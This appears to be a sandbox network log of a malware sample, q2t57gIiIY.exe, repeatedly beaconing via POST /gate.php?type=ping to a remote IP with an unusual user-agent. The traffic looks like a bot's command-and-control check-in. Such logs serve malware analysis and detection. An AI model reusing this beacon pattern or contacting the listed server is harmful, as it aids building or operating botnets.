Aug 15, 2021 08:41:21.252791882 CEST	7541	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:21.280939102 CEST	7541	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:21 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:21.393541098 CEST	7541	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:21.421086073 CEST	7541	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:21 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:21.531301975 CEST	7542	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:21.559566021 CEST	7542	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:21 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:21.675455093 CEST	7542	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:21.705039978 CEST	7542	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:21 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:21.817182064 CEST	7542	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:21.847275972 CEST	7543	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:21 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:21.971667051 CEST	7543	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:22.000328064 CEST	7543	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:21 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:22.110126019 CEST	7543	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:22.144272089 CEST	7544	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:22 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:22.265994072 CEST	7544	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:22.293906927 CEST	7544	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:22 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:22.409193993 CEST	7544	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:22.437649012 CEST	7545	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:22 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:22.547724962 CEST	7545	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:22.575390100 CEST	7545	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:22 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:22.688297033 CEST	7545	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:22.716670036 CEST	7545	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:22 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:22.828315973 CEST	7546	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:22.855986118 CEST	7546	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:22 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:22.970669031 CEST	7546	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:22.998992920 CEST	7546	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:22 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:23.111722946 CEST	7547	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:23.140204906 CEST	7547	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:23 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:23.251123905 CEST	7547	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:23.279261112 CEST	7547	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:23 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:23.394742966 CEST	7548	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:23.428740025 CEST	7548	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:23 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:23.547035933 CEST	7548	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:23.575567007 CEST	7548	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:23 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:23.687611103 CEST	7549	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:23.719664097 CEST	7549	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:23 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:23.839814901 CEST	7549	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:23.868834019 CEST	7549	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:23 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:23.987674952 CEST	7549	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:24.016432047 CEST	7550	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:24 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:24.128546000 CEST	7550	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:24.167246103 CEST	7550	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:24 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:24.284934998 CEST	7550	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:24.312639952 CEST	7551	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:24 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:24.422058105 CEST	7551	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:24.450193882 CEST	7551	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:24 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:24.567437887 CEST	7551	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:24.595242977 CEST	7551	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:24 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:24.704550028 CEST	7552	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:24.734010935 CEST	7552	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:24 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:24.848242044 CEST	7552	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:24.876662016 CEST	7552	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:24 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:24.989624023 CEST	7553	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:25.019998074 CEST	7553	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:25 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:25.144342899 CEST	7553	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:25.172743082 CEST	7553	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:25 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:25.284917116 CEST	7554	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:25.312851906 CEST	7554	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:25 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:25.424984932 CEST	7554	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:25.452960968 CEST	7554	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:25 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:25.563143969 CEST	7555	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:25.591182947 CEST	7555	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:25 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:25.703562975 CEST	7555	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:25.734189987 CEST	7555	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:25 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:25.843668938 CEST	7555	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:25.879940033 CEST	7556	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:25 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:26.000837088 CEST	7556	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:26.029123068 CEST	7556	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:26 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:26.143809080 CEST	7556	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:26.172173023 CEST	7557	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:26 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:26.286891937 CEST	7557	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:26.315418959 CEST	7557	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:26 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:26.425534010 CEST	7557	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:26.453597069 CEST	7558	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:26 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:26.564438105 CEST	7558	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:26.593527079 CEST	7558	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:26 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:26.704009056 CEST	7558	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:26.731934071 CEST	7558	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:26 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:26.843956947 CEST	7559	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:26.873761892 CEST	7559	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:26 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:26.986898899 CEST	7559	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:27.015539885 CEST	7559	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:26 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:27.127629042 CEST	7560	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:27.155276060 CEST	7560	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:27 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:27.268179893 CEST	7560	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:27.297322989 CEST	7560	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:27 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:27.409156084 CEST	7561	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:27.437262058 CEST	7561	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:27 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:27.547921896 CEST	7561	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:27.577269077 CEST	7561	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:27 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:27.689896107 CEST	7562	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:27.720134974 CEST	7562	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:27 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:27.830635071 CEST	7562	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:27.859318018 CEST	7562	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:27 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:27.971299887 CEST	7562	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:27.999391079 CEST	7563	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:27 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:28.110837936 CEST	7563	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:28.139986038 CEST	7563	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:28 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:28.252255917 CEST	7563	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:28.281100988 CEST	7564	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:28 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:28.392187119 CEST	7564	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:28.423228025 CEST	7564	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:28 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:28.533765078 CEST	7564	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:28.563303947 CEST	7565	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:28 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:28.673829079 CEST	7565	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:28.706337929 CEST	7565	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:28 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:28.816323996 CEST	7565	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:28.845257998 CEST	7565	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:28 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:28.953279018 CEST	7566	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:28.983310938 CEST	7566	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:28 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:29.097352982 CEST	7566	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:29.127068996 CEST	7566	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:29 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:29.238106966 CEST	7567	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:29.267462015 CEST	7567	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:29 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:29.375869989 CEST	7567	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:29.404022932 CEST	7567	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:29 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:29.516772985 CEST	7568	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:29.547728062 CEST	7568	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:29 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:29.658113956 CEST	7568	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:29.687426090 CEST	7568	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:29 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49774	94.103.80.169	80	C:\Users\user\Desktop\q2t57gIiIY.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2021 08:41:29.825571060 CEST	7569	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:29.853254080 CEST	7569	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:29 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:29.970575094 CEST	7569	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
